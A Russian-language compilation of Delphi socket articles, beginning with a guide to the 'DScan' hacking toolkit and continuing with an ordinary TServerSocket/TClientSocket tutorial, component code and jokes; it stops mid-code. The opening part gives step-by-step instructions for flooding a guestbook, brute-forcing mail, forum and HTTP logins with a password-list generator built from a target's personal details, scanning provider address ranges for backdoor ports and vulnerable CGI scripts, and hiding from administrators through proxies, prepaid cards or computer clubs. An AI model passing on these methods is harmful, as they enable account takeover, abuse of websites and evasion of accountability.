Сканер по диапазону портов или адресов предназначен для определения открытых портов на удаленном компьютере или открытого определенного порта по диапазону адресов. Таким образом можно просканировать весь диапазон адресов провайдера на 139 открытый порт. Или 10001 (DTr). Или по порту BO, LamerDeath и т.п. Для этого необходимо указать диапазон адресов в спецификации ip4 (xxx.xxx.xxx.xxx) и порт. Сканирование осуществляется в многопоточном режиме по изменению последнего значения. Количество потоков можно задать и оно зависит от скорости соединения. В версии 1.3 сканирование реализовано через неблокирующие сокеты (см. предыдущие статьи). Сканирование по диапазону портов в основном предназначено для определения установленных сервисов на удаленном компьютере. Таким образом можно выяснить и операционную систему компьютера, подключен ли он еще и в локальную сеть, установлен ли Apach, E-mail-SERVER, FireWall и т.д.
Сканер по выбранным портам
То же самое, что и сканер по диапазону портов, но можно задавать значения только тех портов, по которым необходимо просканировать удаленный компьютер. В версии 1.3 добавлена многопоточность сканирования и алгоритм написан на неблокирующем сокетном движке.
Универсальный TCP-клиент
После определения открытых портов на удаленном компьютере, можно с помощью универсального TCP-клиента выяснить тип установленного сервиса, протокол обмена данными, его ответ на попытку соединения, сколько байт отправляет при соединении, сколько получает и т.д. Может работать как TelNet-клиент, e-mail-клиент, броузер, клиент различных BackDoor, Whois-клиент и т.п. В общем - универсальный клиент. Также есть опции отправки/приема данных в виде Out-of-Band. Можно указать разное окончание отправляемого пакета и сгенерировать данные случайным образом. Область применения очень обширна.
Флудер
Два примера использования можно взять в третьей статье по этой теме. Также он может использоваться для флуда чата, гостевой и т.п. Принцип работы - посылка на указанный адрес и открытый порт указанного кол-ва сформированных пакетов. Пакеты можно формировать случайным образом, заполнять нулями, #1, #13, #10, буквой A, #10#13, /n,
или пробелами. Справа и слева сформированных данных можно ввести обязательные для этого пакета данные (для чатов, гостевых и т.д.). Вот пример. Возьму мою гостевую книгу на http://www.danil.dp.ua. После некоторых исследований port-mapper-ом, можно получить, что url для добавления -
GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F&city=CITY&country=COUNTRY&comments=COMMENTS&action=add.
Теперь можно сформировать соответствующий запрос в разделе "Send": в первое поле ввода введем
GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F& city=CITY&country=COUNTRY&comments=
, во втором - random, в третьем - "&action=add". Теперь флудер будет посылать сформированное случайным образом поле "Комментарии". Окончание - #10. Осталось поставить кол-во Thread - 250 и Count of send - 1. Запустить. Теперь прога просто зафлудит гостевую. Моя гостевая приведена для примера и на ней лучше этого не делать. Там куча проверок, режим премодерирования (удалить весь флуд у меня займет пару минут). Обычно есть определение IP-адреса. Поэтому лучше работать через прокси (см. ниже) или с карточки на пару часов инета.
Брутфорс
Предназначен для определения пароля по словарю. Недостатки этого метода я рассмотрел в своей статье Взлом мыла. НО: во-первых не все используют сложные пароли, а во-вторых есть так называемая "Защита от брута", которая перекрывает сервис при определении попытки брутфорса. Иногда такая защита может перекрыть доступ и зарегистрированному пользователю. Как например, в mail.ru. При попытке брутфорса по POP3, даже зарегистрированный пользователь потом не может по POP3 получить свою почту. Приходится получать через бройзер, ну а здесь можно послать письмо с соответствующим скриптом. Или на чате, форуме и т.п. пароль достаточно простой - цифры. Тогда это несколько тысяч или сотен тысяч значений, которые при многопоточном брутфорсе подобрать вполне реально - от часа до суток. В общем, иногда очень полезная вещь. В инете есть очень много разных файлов с паролями, но лучше ими не пользоваться, а формировать самому. Практически у всех есть ICQ. По поиску можно получить имя, дату рождения и т.д. Пусть у нас есть только имя (например Danil :-)). Мы не знаем больше ничего. Но попытаемся попробовать сформировать некоторый файл с паролями. По моим наблюдениям, очень часто указывают пароль как имя+цифры. Например, цифры - день и месяц рождения. Вот небольшая программа на Delphi, которая формирует файл паролей:
procedure PassCreate;
const
name = 'danil';
file = 'pass.txt';
var
PassList : TStringList;
I, J : Integer;
begin
PassList:=TStringList.Create;
PassList.Clear;
PassList.Add(name);
// Цикл по месяцу и дате рождения
for I:=1 to 12 do
for J:=1 to 31 do
PassList.Add(name+IntToStr(J)+IntToStr(I));
PassList.SaveToFile(file);
PassList.Free;
end;
|
Немного переделав, можно сделать добавление нулей при значении <10, формировать трех, черырех-значное число случайным образом, поставить цифры вначале и т.д. Можно просто сформировать файл паролей из цифр. Можно добавить стандарты типа qwerty, 1234, 4321, asdf и т.д. В общем, как повезет. С ftp и pop3 брутом надеюсь все понятно. Можно переделать исходники и под TelNet. Рассмотрим HTTP-брутфорс. Например есть такая конструкция проверки пароля:
| <form action="cgi-bin/pass.cgi" method=post> <b>Авторизация:</b><br><br> <b>Имя :</b><input type=text name=name size=40><br> <b>Пароль:</b><input type=password name=password size=40><br><br> <input type=submit value="Отправить"> </form> |
Мы видим, что скрипт проверки парля находится на www.domain.com/cgi-bin/pass.cgi. Через port-mapper или просмотрев на хтмл, мы видим, что url выглядит так: http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=PASSWORD. Нам надо перебрать поле PASSWORD. Введем непрвальный пароль и посмотрим ответ сервера. Перейдем на закладку Universal Client, соединимся с www.domain.com и пошлем POST url. Посмотрим ответ сервера. Там будет что-то типа "Password incorrect". При правильном пароле такого наверное не должно быть. Он должен написать что-то типа "Password is incorrect". HTTP-брутфорс в "DScan" допускает использование прокси прямо в программе. Таким образом можно заполнить поля прокси-сервера и сервера для работы, в первом поле отправки поставить http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=, указать файл паролей, в соответствующем поле указать ответ сервера на неверный пароль и начать сканирование. HTTP-брутфорс можно также использовать для закрытых паролем ресурсов. С помощью port-mapper определить url и поставить в поле "Сообщение при неверном пароле" - 500. Это стандартный ответ web-сервера при недоступном ресурсе. Также его можно использовать как CGI-сканер. Только вместо файла паролей необходимо указать файл, содержащий url к скриптам с ошибками. В первом поле отправки, в случае необходимости нужно поставить "/" (если скрипты в файле не начинаются с "/"). Ответ сервера на несуществующий скрипт - "500" или "404 Not Found" (необходимо сначала посмотреть через универсальный клиент). Таким образом, перебирая запросы к серверу, можно получить список установленных скриптов с ошибками. Список уязвимых скриптов и описание использований уязвимостей, можно взять в интернете на сайтах, посвященных безопасности.
Анонимность
Прокси. Для HTTP-брутфорсера - встроенно в программу. Для остального - надо использовать SOCKS5-прокси. Всю информацию по использованию и настройке можно почитать здесь. Если скорость бесплатных прокси не устраивает, то можно обойтись и без них. Только администраторы могут определить обратный IP-адрес и наказать. Поэтому лучше использовать инет-карты на пару часов или работать с программой в компьютерном клубе, в котором не перекрыты сервером нужные порты.
Может быть в следующей статье я рассмотрю работу с датаграммами, функции sendto/recvto, подделку пакетов, работу с сокетом без connect и т.п.
P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Сокеты в Delphi.
Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов ("sockets" - гнезда). В отличие от предыдущей статьи на тему сокетов, здесь мы разберем создание серверных приложений.
Следует сразу заметить, что для сосуществования отдельных приложений клиента и сервера не обязательно иметь несколько компьютеров. Достаточно иметь лишь один, на котором Вы одновременно запустите и сервер, и клиент. При этом нужно в качестве имени компьютера, к которому надо подключиться, использовать хост-имя localhost или IP-адрес - 127.0.0.1.
Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел.
Алгоритм работы сокетного сервера
Что же позволяет делать сокетный сервер?.. По какому принципу он работает?.. Сервер, основанный на сокетном протоколе, позволяет обслуживать сразу множество клиентов. Причем, ограничение на их количество Вы можете указать сами (или вообще убрать это ограничение, как это сделано по умолчанию). Для каждого подключенного клиента сервер открывает отдельный сокет, по которому Вы можете обмениваться данными с клиентом. Также отличным решением является создание для каждого подключения отдельного процесса (Thread).
Ниже следует примерная схема работы сокетного сервера в Дельфи-приложениях:
Разберем схему подробнее:
Определение св-в Port и ServerType - чтобы к серверу могли нормально подключаться клиенты, нужно, чтобы порт, используемый сервером точно совпадал с портом, используемым клиентом (и наоборот). Свойство ServerType определяет тип подключения (подробнее см.ниже); Открытие сокета - открытие сокета и указанного порта. Здесь выполняется автоматическое начало ожидания подсоединения клиентов (Listen); Подключение клиента и обмен данными с ним - здесь подключается клиент и идет обмен данными с ним. Подробней об этом этапе можно узнать ниже в этой статье и в статье про сокеты (клиентская часть); Отключение клиента - Здесь клиент отключается и закрывается его сокетное соединение с сервером; Закрытие сервера и сокета - По команде администратора сервер завершает свою работу, закрывая все открытые сокетные каналы и прекращая ожидание подключений клиентов. Следует заметить, что пункты 3-4 повторяются многократно, т.е. эти пункты выполняются для каждого нового подключения клиента.Примечание: Документации по сокетам в Дельфи на данный момент очень мало, так что, если Вы хотите максимально глубоко изучить эту тему, то советую просмотреть литературу и электронную документацию по Unix/Linux-системам - там очень хорошо описана теория работы с сокетами. Кроме того, для этих ОС есть множество примеров сокетных приложений (правда, в основном на C/C++ и Perl).
Краткое описание компонента TServerSocket
Здесь мы познакомимся с основными свойствами, методами и событиями компонента TServerSocket.
Свойства Методы События:
Socket класс TServerWinSocket, через который Вы имеете доступ к открытым сокетным каналам. Далее мы рассмотрим это свойство более подробно, т.к. оно, собственно и есть одно из главных. Тип: TServerWinSocket; ServerType тип сервера. Может принимать одно из двух значений: stNonBlocking - синхронная работа с клиентскими сокетами. При таком типе сервера Вы можете работать с клиентами через события OnClientRead и OnClientWrite. stThreadBlocking - асинхронный тип. Для каждого клиентского сокетного канала создается отдельный процесс (Thread). Тип: TServerType; ThreadCacheSize количество клиентских процессов (Thread), которые будут кэшироваться сервером. Здесь необходимо подбирать среднее значение в зависимости от загруженности Вашего сервера. Кэширование происходит для того, чтобы не создавать каждый раз отдельный процесс и не убивать закрытый сокет, а оставить их для дальнейшего использования. Тип: Integer; Active показатель того, активен в данных момент сервер, или нет. Т.е., фактически, значение True указывает на то, что сервер работает и готов к приему клиентов, а False - сервер выключен. Чтобы запустить сервер, нужно просто присвоить этому свойству значение True. Тип: Boolean; Port номер порта для установления соединений с клиентами. Порт у сервера и у клиентов должны быть одинаковыми. Рекомендуются значения от 1025 до 65535, т.к. от 1 до 1024 - могут быть заняты системой. Тип: Integer; Service строка, определяющая службу (ftp, http, pop, и т.д.), порт которой будет использован. Это своеобразный справочник соответствия номеров портов различным стандартным протоколам. Тип: string; Open Запускает сервер. По сути, эта команда идентична присвоению значения True свойству Active; Close Останавливает сервер. По сути, эта команда идентична присвоению значения False свойству Active. OnClientConnect возникает, когда клиент установил сокетное соединение и ждет ответа сервера (OnAccept); OnClientDisconnect возникает, когда клиент отсоединился от сокетного канала; OnClientError возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка; OnClientRead возникает, когда клиент передал берверу какие-либо данные. Доступ к этим данным можно получить через пеаедаваемый параметр Socket: TCustomWinSocket; OnClientWrite возникает, когда сервер может отправлять данные клиенту по сокету; OnGetSocket в обработчике этого события Вы можете отредактировать параметр ClientSocket; OnGetThread в обработчике этого события Вы можете определить уникальный процесс (Thread) для каждого отдельного клиентского канала, присвоив параметру SocketThread нужную подзадачу TServerClientThread; OnThreadStart, OnThreadEnd возникает, когда подзадача (процесс, Thread) запускается или останавливается, соответственно; OnAccept возникает, когда сервер принимает клиента или отказывает ему в соединении; OnListen возникает, когда сервер переходит в режим ожидания подсоединения клиентов.TServerSocket.Socket (TServerWinSocket)
Итак, как же сервер может отсылать данные клиенту? А принимать данные? В основном, если Вы работаете через события OnClientRead и OnClientWrite, то общаться с клиентом можно через параметр ClientSocket (TCustomWinSocket). Про работу с этим классом можно прочитать в статье про клиентские сокеты, т.к. отправка/посылка данных через этот класс аналогична - методы (Send/Receive)(Text,Buffer,Stream). Также и при работе с TServerSocket.Socket. Однако, т.к. здесь мы рассматриваем сервер, то следует выделить некоторые полезные свойства и методы:
ActiveConnections (Integer) количество подключенных клиентов; ActiveThreads (Intеgег) количество работающих процессов; Connections (array) - массив, состоящий из отдельных классов TClientWinSocket для каждого подключенного клиента. Например, такая команда:
ServerSocket1.Socket.Connections[0].SendText('Hello!');
|
Практика и примеры
А теперь рассмотрим вышеприведенное на конкретном примере. Скачать уже готовые исходники можно, щелкнув здесь.
Итак, рассмотрим очень неплохой пример работы с TServerSocket (этот пример - наиболее наглядное пособие для изучения этого компонента). В приведенных ниже исходниках демонстрируется протоколирование всех важных событий сервера, плюс возможность принимать и отсылать текстовые сообщения:
Пример 1. Протоколирование и изучение работы сервера, посылка/прием сообщений через сокеты.
{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1} procedure TForm1.Button1Click(Sender: TObject); begin {Определяем порт и запускаем сервер} ServerSocket1.Port := 1025; {Метод Insert вставляет строку в массив в указанную позицию} Memo2.Lines.Insert(0, 'Server starting'); ServerSocket1.Open; end; procedure TForm1.Button2Click(Sender: TObject); begin {Останавливаем сервер} ServerSocket1.Active := False; Memo2.Lines.Insert(0, 'Server stopped'); end; procedure TForm1.ServerSocket1Listen(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь сервер "прослушивает" сокет на наличие клиентов} Memo2.Lines.Insert(0, 'Listening on port ' + IntToStr(ServerSocket1.Port)); end; procedure TForm1.ServerSocket1Accept(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь сервер принимает клиента} Memo2.Lines.Insert(0, 'Client connection accepted'); end; procedure TForm1.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь клиент подсоединяется} Memo2.Lines.Insert(0, 'Client connected'); end; procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь клиент отсоединяется} Memo2.Lines.Insert(0, 'Client disconnected'); end; procedure TForm1.ServerSocket1ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin {Произошла ошибка - выводим ее код} Memo2.Lines.Insert(0, 'Client error. Code = ' + IntToStr(ErrorCode)); end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); begin {От клиента получено сообщение - выводим его в Memo1} Memo2.Lines.Insert(0, 'Message received from client'); Memo1.Lines.Insert(0, '> ' + Socket.ReceiveText); end; procedure TForm1.ServerSocket1ClientWrite(Sender: TObject; Socket: TCustomWinSocket); begin {Теперь можно слать данные в сокет} Memo2.Lines.Insert(0, 'Now can write to socket'); end; procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer; var ClientSocket: TServerClientWinSocket); begin Memo2.Lines.Insert(0, 'Get socket'); end; procedure TForm1.ServerSocket1GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread); begin Memo2.Lines.Insert(0, 'Get Thread'); end; procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject; Thread: TServerClientThread); begin Memo2.Lines.Insert(0, 'Thread end'); end; procedure TForm1.ServerSocket1ThreadStart(Sender: TObject; Thread: TServerClientThread); begin Memo2.Lines.Insert(0, 'Thread start'); end; procedure TForm1.Button3Click(Sender: TObject); var i: Integer; begin {Посылаем ВСЕМ клиентам сообщение из Edit1} for i := 0 to ServerSocket1.Socket.ActiveConnections - 1 do ServerSocket1.Socket.Connections[i].SendText(Edit1.Text); Memo1.Lines.Insert(0, '< ' + Edit1.Text); <strong>end</strong>; </pre> </td></tr></table><br> <p> Далее мы будем рассматривать уже не примеры, а приемы работы с TServerSocket. </p><p> Приемы работы с TServerSocket (и просто с сокетами) </p><p> Хранение уникальных данных для каждого клиента. </p><p> Наверняка, если Ваш сервер будет обслуживать множество клиентов, то Вам потребуется хранить какую-либо информацию для каждого клиента (имя, и др.), причем с привязкой этой информации к сокету данного клиента. В некоторых случаях делать все это вручную (привязка к handle сокета, массивы клиентов, и т.д.) не очень удобно. Поэтому для каждого сокета существует специальное свойство - Data. На самом деле, Data - это всего-навсего указатель. Поэтому, записывая данные клиента в это свойство будьте внимательны и следуйте правилам работы с указателями (выделение памяти, определение типа, и т.д.)! </p><p> <b>Посылка файлов через сокет</b> </p><p> Здесь мы рассмотрим посылку файлов через сокет (по просьбе JINX-а) :-). Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере: </p> <table><tr><td><br> <pre> <font color="#000080"><em>{Посылка файла через сокет}</em></font> <strong>procedure</strong> SendFileBySocket(filename: <strong>string</strong>); <strong>var</strong> srcfile: TFileStream; <strong>begin</strong> <font color="#000080"><em>{Открываем файл filename}</em></font> srcfile := TFileStream.Create(filename, fmOpenRead); <font color="#000080"><em>{Посылаем его первому подключенному клиенту}</em></font> ServerSocket1.Socket.Connections[0].SendStream(srcfile); <font color="#000080"><em>{Закрываем файл}</em></font> srcfile.Free; <strong>end</strong>; </pre> </td></tr></table><br> <p> Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile)) </p> <p> Почему несколько блоков при передаче могут обьединяться в один </p> <p> Это тоже по просьбе JINX-а :-). За это ему огромное спасибо! Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды: </p> <table><tr><td><br> <pre> ServerSocket1.Socket.Connections[0].SendText('Hello, '); ServerSocket1.Socket.Connections[0].SendText('world!'); </pre> </td></tr></table><br> <p> совершенно идентичны одной команде: </p> <table><tr><td><br> <pre> ServerSocket1.Socket.Connections[0].SendText('Hello, world!'); </pre> </td></tr></table><br> <p> И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный): </p> <table><tr><td><br> <pre> <font color="#000080"><em>{Прием файла через сокет}</em></font> <strong>procedure</strong> TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); <strong>var</strong> l: Integer; buf: PChar; src: TFileStream; <strong>begin</strong> <font color="#000080"><em>{Записываем в l размер полученного блока}</em></font> l := Socket.ReceiveLength; <font color="#000080"><em>{Заказываем память для буфера}</em></font> GetMem(buf,l+1); <font color="#000080"><em>{Записываем в буфер полученный блок}</em></font> Socket.ReceiveBuf(buf,l); <font color="#000080"><em>{Открываем временный файл для записи}</em></font> src := TFileStream.Create('myfile.tmp',fmOpenReadWrite); <font color="#000080"><em>{Ставим позицию в конец файла}</em></font> src.Seek(0,soFromEnd); <font color="#000080"><em>{Записываем буфер в файл}</em></font> src.WriteBuffer(buf,l); <font color="#000080"><em>{Закрываем файл}</em></font> src.Free; <font color="#000080"><em>{Освобождаем память}</em></font> FreeMem(buf); <strong>end</strong>; </pre> </td></tr></table><br> <p> <b>Как следить за сокетом</b> </p> <p> Это вопрос сложный и требует долгого рассмотрения. Пока лишь замечу, что созданный Вашей программой сокет Вы можете промониторить всегда :-). Сокеты (как и большинство объектов в Windows) имеют свой дескриптор (handle), записанный в свойстве Handle. Так вот, узнав этот дескриптор Вы свободно сможете управлять любым сокетом (даже созданным чужой программой)! Однако, скорее всего, чтобы следить за чужим сокетом, Вам придется использовать исключительно функции WinAPI Sockets. </p> <p> <b>Эпилог</b> </p> <p> В этой статье отображены основные приемы работы с компонентом TServerSocket в Дельфи и несколько общих приемов для обмена данными по сокетам. Если у Вас есть вопросы - скидывайте их мне на E-mail: snick@mailru.com, а еще лучше - пишите в конференции этого сайта (Delphi. Общие вопросы), чтобы и другие пользователи смогли увидеть Ваш вопрос и попытаться на него ответить! </p> <!-- end -->TServerSocket и TClientSocket без scktsrvr.exe отказываются работать.
| Встречаются девушка и молодой человек, знакомые лишь виртуально. Молодой человек, смотря на девушку: - Так вот почему с тобой было так интересно говорить - все остальное с тобой делать просто бесполезно. |
Установите этот компонент:
unit Sck;
interface
uses
Classes, SysUtils, Windows, Messages,
ScktComp, SConnect, ActiveX, MidConst;
type
TNotifyClient = procedure (Sender: TObject; Thread: TServerClientThread) of
object;
{ TSocketDispatcher }
TSocketDispatcher = class;
{ TSocketDispatcherThread }
TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)
private
FRefCount: Integer;
FInterpreter: TDataBlockInterpreter;
FTransport: ITransport;
FInterceptGUID: string;
FLastActivity: TDateTime;
FTimeout: TDateTime;
FRegisteredOnly: Boolean;
protected
SocketDispatcher: TSocketDispatcher;
function CreateServerTransport: ITransport; virtual;
procedure AddClient;
procedure RemoveClient;
{ IUnknown }
function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
{ ISendDataBlock }
function Send(const Data: IDataBlock; WaitForResult: Boolean): IDataBlock;
stdcall;
public
constructor Create(AOwner: TSocketDispatcher; CreateSuspended: Boolean;
ASocket: TServerClientWinSocket; const InterceptGUID: string;
Timeout: Integer; RegisteredOnly: Boolean);
procedure ClientExecute; override;
property LastActivity: TDateTime read FLastActivity;
end;
{ TSocketDispatcher }
TSocketDispatcher = class(TServerSocket)
private
FInterceptGUID: string;
FTimeout: Integer;
FRegisteredOnly: Boolean;
FOnRemoveClient: TNotifyClient;
FOnAddClient: TNotifyClient;
procedure GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread);
published
constructor Create(AOwner: TComponent); override;
property InterceptGUID: string read FInterceptGUID write FInterceptGUID;
property Timeout: Integer read FTimeout write FTimeout;
property RegisteredOnly: Boolean read FRegisteredOnly write
FRegisteredOnly;
property OnAddClient: TNotifyClient read FOnAddClient write FOnAddClient;
property OnRemoveClient: TNotifyClient read FOnRemoveClient write
FOnRemoveClient;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Midas', [TSocketDispatcher]);
end;
{ TSocketDispatcherThread }
constructor TSocketDispatcherThread.Create(AOwner: TSocketDispatcher;
CreateSuspended: Boolean; ASocket: TServerClientWinSocket;
const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);
begin
SocketDispatcher := AOwner;
FInterceptGUID := InterceptGUID;
FTimeout := EncodeTime(Timeout div 60, Timeout mod 60, 0, 0);
FLastActivity := Now;
FRegisteredOnly := RegisteredOnly;
inherited Create(CreateSuspended, ASocket);
end;
function TSocketDispatcherThread.CreateServerTransport: ITransport;
var
SocketTransport: TSocketTransport;
begin
SocketTransport := TSocketTransport.Create;
SocketTransport.Socket := ClientSocket;
SocketTransport.InterceptGUID := FInterceptGUID;
Result := SocketTransport as ITransport;
end;
procedure TSocketDispatcherThread.AddClient;
begin
with SocketDispatcher do
if Assigned(OnAddClient) then OnAddClient(SocketDispatcher, Self);
end;
procedure TSocketDispatcherThread.RemoveClient;
begin
with SocketDispatcher do
if Assigned(OnRemoveClient) then OnRemoveClient(SocketDispatcher, Self);
end;
{ TSocketDispatcherThread.IUnknown }
function TSocketDispatcherThread.QueryInterface(const IID: TGUID;
out Obj): HResult;
begin
if GetInterface(IID, Obj) then Result := 0 else Result := E_NOINTERFACE;
end;
function TSocketDispatcherThread._AddRef: Integer;
begin
Inc(FRefCount);
Result := FRefCount;
end;
function TSocketDispatcherThread._Release: Integer;
begin
Dec(FRefCount);
Result := FRefCount;
end;
{ TSocketDispatcherThread.ISendDataBlock }
function TSocketDispatcherThread.Send(const Data: IDataBlock;
WaitForResult: Boolean): IDataBlock;
begin
FTransport.Send(Data);
if WaitForResult then
while True do
begin
Result := FTransport.Receive(True, 0);
if Result = nil then break;
if (Result.Signature and ResultSig) = ResultSig then
break else
FInterpreter.InterpretData(Result);
end;
end;
procedure TSocketDispatcherThread.ClientExecute;
var
Data: IDataBlock;
msg: TMsg;
Obj: ISendDataBlock;
Event: THandle;
WaitTime: DWord;
begin
CoInitialize(nil);
try
Synchronize(AddClient);
FTransport := CreateServerTransport;
try
Event := FTransport.GetWaitEvent;
PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);
GetInterface(ISendDataBlock, Obj);
if FRegisteredOnly then
FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
FInterpreter := TDataBlockInterpreter.Create(Obj, '');
try
Obj := nil;
if FTimeout = 0 then
WaitTime := INFINITE else
WaitTime := 60000;
while not Terminated and FTransport.Connected do
try
case MsgWaitForMultipleObjects(1, Event, False, WaitTime,
QS_ALLEVENTS) of
WAIT_OBJECT_0:
begin
WSAResetEvent(Event);
Data := FTransport.Receive(False, 0);
if Assigned(Data) then
begin
FLastActivity := Now;
FInterpreter.InterpretData(Data);
Data := nil;
FLastActivity := Now;
end;
end;
WAIT_OBJECT_0 + 1:
while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do
DispatchMessage(msg);
WAIT_TIMEOUT:
if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then
FTransport.Connected := False;
end;
except
FTransport.Connected := False;
end;
finally
FInterpreter.Free;
FInterpreter := nil;
end;
finally
FTransport := nil;
end;
finally
CoUninitialize;
Synchronize(RemoveClient);
end;
end;
{ TSocketDispatcher }
constructor TSocketDispatcher.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
ServerType := stThreadBlocking;
OnGetThread := GetThread;
end;
procedure TSocketDispatcher.GetThread(Sender: TObject;
ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread);
begin
SocketThread := TSocketDispatcherThread.Create(Self, False, ClientSocket,
InterceptGUID, Timeout, RegisteredOnly);
end;
end.
|
Простой способ отправки файлов при помощи TClientSocket и TServerSocket.
| Диктор новостей: "...Из Баку сообщают о разработке нового стандарта для локальных компьютерных сетей - Azernet". |
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Image1: TImage;
Image2: TImage;
ClientSocket1: TClientSocket;
ServerSocket1: TServerSocket;
Button1: TButton;
procedure Image1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
Reciving: boolean;
DataSize: integer;
Data: TMemoryStream;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Image1Click(Sender: TObject);
begin
// Это процедура для открытия сокета на ПРИЁМ (RECEIVING).
// Button1.Click is this procedure as well.
ClientSocket1.Active:= true;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
// Открытие ОТПРАВЛЯЮЩЕГО (SENDING) сокета.
ServerSocket1.Active:= true;
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
// Посылаем команду для начала передачи файла.
Socket.SendText('send');
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
s, sl: string;
begin
s:= Socket.ReceiveText;
// Если мы не в режиме приёма:
if not Reciving then
begin
// Теперь нам необходимо получить длину потока данных.
SetLength(sl, StrLen(PChar(s))+1); // +1 for the null terminator
StrLCopy(@sl[1], PChar(s), Length(sl)-1);
DataSize:= StrToInt(sl);
Data:= TMemoryStream.Create;
// Удаляем информацию о размере из данных.
Delete(s, 1, Length(sl));
Reciving:= true;
end;
// Сохраняем данные в файл, до тех пор, пока не получим все данные.
try
Data.write(s[1], length(s));
if Data.Size = DataSize then
begin
Data.Position:= 0;
Image2.Picture.Bitmap.LoadFromStream(Data);
Data.Free;
Reciving:= false;
Socket.Close;
end;
except
Data.Free;
end;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
ms: TMemoryStream;
begin
// Клиент получает команду на передачу файла.
if Socket.ReceiveText = 'send' then
begin
ms:= TMemoryStream.Create;
try
// Получаем данные на передачу.
Image1.Picture.Bitmap.SaveToStream(ms);
ms.Position:= 0;
// Добавляем длину данных, чтобы клиент знал,
// сколько данных будет передано
// Добавляем #0 , чтобы можно было определить,
// где заканчивается информация о размере.
Socket.SendText(IntToStr(ms.Size) + #0);
// Посылаем его.
Socket.SendStream(ms);
except
// Итак, осталось освободить поток, если что-то не так.
ms.Free;
end;
end;
end;
end.
|
Посылка и прием сообщений через сокеты.
| Интернетчик возвращается поздно домой. Его встречают двое громил. Один из них достает нож и говорит: - Гони деньги! "Провайдеры",- подумал интернетчик. |
{... Здесь идет заголовок файла и определение
формы TForm1 и ее экземпляра Form1}
procedure TForm1.Button1Click(Sender: TObject);
begin
{Определяем порт и запускаем сервер}
ServerSocket1.Port := 1025;
{Метод Insert вставляет строку в массив в указанную позицию}
Memo2.Lines.Insert(0,'Server starting');
ServerSocket1.Open;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
{Останавливаем сервер}
ServerSocket1.Active := False;
Memo2.Lines.Insert(0,'Server stopped');
end;
procedure TForm1.ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
begin
{Здесь сервер "прослушивает" сокет на наличие клиентов}
Memo2.Lines.Insert(0,'Listening on port '+IntToStr(ServerSocket1.Port));
end;
procedure TForm1.ServerSocket1Accept(Sender: TObject;
Socket: TCustomWinSocket);
begin
{Здесь сервер принимает клиента}
